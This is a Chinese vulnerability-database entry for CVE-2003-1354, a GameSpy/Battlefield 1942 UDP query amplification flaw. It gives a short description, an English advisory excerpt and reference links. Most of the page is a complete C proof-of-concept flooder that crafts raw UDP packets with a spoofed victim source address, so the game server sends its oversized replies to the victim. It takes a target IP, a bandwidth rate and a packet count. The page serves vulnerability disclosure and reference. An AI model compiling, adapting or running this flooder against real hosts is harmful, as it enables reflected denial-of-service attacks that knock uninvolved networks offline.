GameSpy 3D包流量放大远程拒绝服务攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107163 漏洞类型 缓冲区溢出
发布时间 2003-01-17 更新时间 2007-10-17
CVE编号 CVE-2003-1354 CNNVD-ID CNNVD-200312-247
漏洞平台 Linux CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/22183
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-247
|漏洞详情
GameSpy是一款网络游戏支持软件,如自动测定你和InternetQuake引擎游戏(Quake、Hexen2等等)服务器之间的时间延迟等。GameSpy服务程序在处理客户端UDP查询请求时会产生超大的应答,远程攻击者可以利用这个漏洞消耗服务程序所在网络大量带宽,导致拒绝服务攻击。客户端一般使用UDP协议查询游戏服务器,不过GameSpy服务程序存在一个包放大问题,当客户端提交简单的查询请求时,服务程序会应答一超大包给客户端,这样,如果客户端发送大量类似请求,可使服务程序消耗大量带宽而产生拒绝服务攻击。
|漏洞EXP
source: http://www.securityfocus.com/bid/6636/info

A vulnerability has been reported for several games that support the use of the GameSpy network.

A game client typically queries a game server using the UDP protocol. It has been reported that a simple query by a client may result in a game server responding with overly large responses which may result in the saturation of available network bandwidth.

Exploitation of this issue may aid in launching denial of service attacks against other hosts and networks.

/************************************************************************/
/* Battlefield 1942 - All Versions flooder (proof-of-concept)   	*/
/*         by Mike Kristovich (mkristovich@pivx.com)			*/
/* 									*/
/* Filename: bf1942dos.c						*/
/* Location: http://www.pivx.com/kristovich/poc/bf1942dos.c		*/
/*  									*/
/* Proof-of-concept code for PivX Security Advisory MK#001		*/
/*  									*/
/* Linux version (MK-POC-001/1.0)					*/
/*  									*/
/* Description of code:							*/
/*  This exploit will spoof UDP packets from a source which you 	*/
/*  specify, to a Battlefield 1942 server.  The server will send	*/
/*  packets to the victim, regardless of victim status.			*/
/*									*/
/*									*/
/* This source has been tested and compiled on Linux.  			*/
/* This source is covered by the GNU GPL.				*/
/************************************************************************/
/* Thanks to Luigi for assistance with the code!			*/
/************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <string.h>


#define IPSZ		sizeof(struct iphdr)
#define UDPSZ		sizeof(struct udphdr)
#define DATASZ		sizeof(STRING) - 1
#define PSEUDOSZ	sizeof(struct pseudohdr)
#define BUFFSZ		100
#define SIZE		(IPSZ + UDPSZ + DATASZ)
#define STRING		"\\players\\status\\packets\\rules\\"
#define SRCPORT		1204
#define DSTPORT		230

u_short in_cksum(unsigned short *addr, int len);
u_long resolv(char *host);
void std_err(void);


struct pseudohdr {
	u_int32_t	saddr;
	u_int32_t	daddr;
	u_int8_t	zero;
	u_int8_t	protocol;
	u_int16_t	length;
} *pseudohdr;


int main(int argc, char *argv[]) {
 
	u_char	buff[BUFFSZ],
		pseudobuff[BUFFSZ],
		*data;
	struct	sockaddr_in 	peer;
	struct	iphdr	*iphdr;
	struct	udphdr	*udphdr;
	int	shandle,
		err;
	u_int32_t	source,
			dest;
	u_int16_t	sport,
			dport;

	int packetsent;
	int maxpackets;
	int pktdoubler;
	int bandwidth;

	printf("\r\n---------------------------------------------------\r\n");
	printf("      Game Server DoS  -  Proof-of-Concept\r\n");
	printf("   by Mike Kristovich, PivX Security Researcher\r\n");
	printf("= http://www.PivX.com :    : mkristovich@pivx.com =\r\n");
	printf("---------------------------------------------------\r\n");
	printf("= Advisory MK#001 :        : Battlefield 1942 DoS =\r\n");
	printf("---------------------------------------------------\r\n");



	setbuf(stdout, NULL);
	
	if(argc < 4)
	{
	  fprintf(stderr,"Usage: %s <IP_to_flood> <Server_IP> <kBps_to_use> <#_packets>\r\n",*argv);
	  printf(":: Options :: <victim_port[default 53]> <server_port[default 23000]>\r\n");
	  exit(1);
        };

	source = resolv(argv[1]);
	dest   = resolv(argv[2]);

	if (!argv[6])
          dport  = DSTPORT;
	else
	  dport  = atoi(argv[6]);
     
	if (!argv[5]) 
	   sport =  SRCPORT;
	else
	   sport  = atoi(argv[5]);
	

	printf("Sending packets to server ...");
 
	
	peer.sin_addr.s_addr = dest;
	peer.sin_port        = htons(dport);
	peer.sin_family      = AF_INET;

	iphdr     = (struct iphdr *)buff;
	udphdr    = (struct udphdr *)(buff + IPSZ);
	data      = (u_char *)(buff + IPSZ + UDPSZ);
	pseudohdr = (struct pseudohdr *)pseudobuff;

	/* build data */
	memcpy(data, STRING, DATASZ);

	/* build IP header */
	iphdr->ihl      = 5;
	iphdr->version  = 4;
	iphdr->tos      = 0x8;
	iphdr->tot_len  = SIZE;
	iphdr->id       = 156;
	iphdr->frag_off = 0;
	iphdr->ttl      = 128;
	iphdr->protocol = IPPROTO_UDP;
	iphdr->check    = 0;
	iphdr->saddr    = source;
	iphdr->daddr    = dest;

	/* build UDP header */
	udphdr->source = htons(sport);
	udphdr->dest   = htons(dport);
	udphdr->check  = 0;
	udphdr->len    = htons(UDPSZ + DATASZ);

	/* build pseudo header for calculate checksum (copy UDP header and data in it) */
	memcpy(pseudobuff + PSEUDOSZ, buff + IPSZ, UDPSZ + DATASZ);

	pseudohdr->saddr    = iphdr->saddr;
	pseudohdr->daddr    = iphdr->daddr;
	pseudohdr->zero     = 0;
	pseudohdr->protocol = IPPROTO_UDP;
	pseudohdr->length   = udphdr->len;

	udphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ + UDPSZ + DATASZ);

	/* send all */
	shandle = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if(shandle < 0) std_err();
	
	/* do kbps handling */

	/* set up max packets */
	maxpackets = atoi(argv[4]);
	/* set up packet-doubler bandwidth management */
	bandwidth = atoi(argv[3]);

	for (packetsent = 0; packetsent < maxpackets; packetsent++) {

	  for (pktdoubler = 0; pktdoubler < bandwidth; pktdoubler++) {
            err = sendto(shandle, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer));
     	    if(err < 0) std_err();
	    packetsent++;
	  };
	    usleep(24000);
	
	};

	printf("\r\nSpoofed packets sent to Battlefield 1942 server.\r\n");
	close(shandle);

	return(0);
}


u_short in_cksum(unsigned short *addr, int len) {
        int	sum = 0;
        u_short	answer = 0;
        register	u_short *w = addr;
        register int	nleft = len;

        while(nleft > 1)  {
                sum += *w++;
                nleft -= 2;
        }
        if(nleft == 1) {
                *(u_char *)(&answer) = *(u_char *)w ;
                sum += answer;
        }
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
}


u_long resolv(char *host) {
	struct	hostent	*hp;
	u_long	host_ip;

	host_ip = inet_addr(host);
	if(host_ip == INADDR_NONE) {
		hp = gethostbyname(host);
		if(hp == 0) std_err();
		else host_ip = *(u_long *)(hp->h_addr);
	}

	return(host_ip);
}


void std_err(void) {
	perror("\nError");
	exit(1);
}
|参考资料

来源:XF
名称:battlefield-udp-query-dos(11084)
链接:http://xforce.iss.net/xforce/xfdb/11084
来源:BID
名称:6636
链接:http://www.securityfocus.com/bid/6636
来源:www.securiteam.com
链接:http://www.securiteam.com/securitynews/5EP0O0K8UO.html
来源:www.pivx.com
链接:http://www.pivx.com/kristovich/adv/mk001/
来源:BUGTRAQ
名称:20030122PivXMulti-VendorGameServerdDoSAdvisory
链接:http://seclists.org/lists/bugtraq/2003/Jan/0178.html
来源:NSFOCUS
名称:4244
链接:http://www.nsfocus.net/vulndb/4244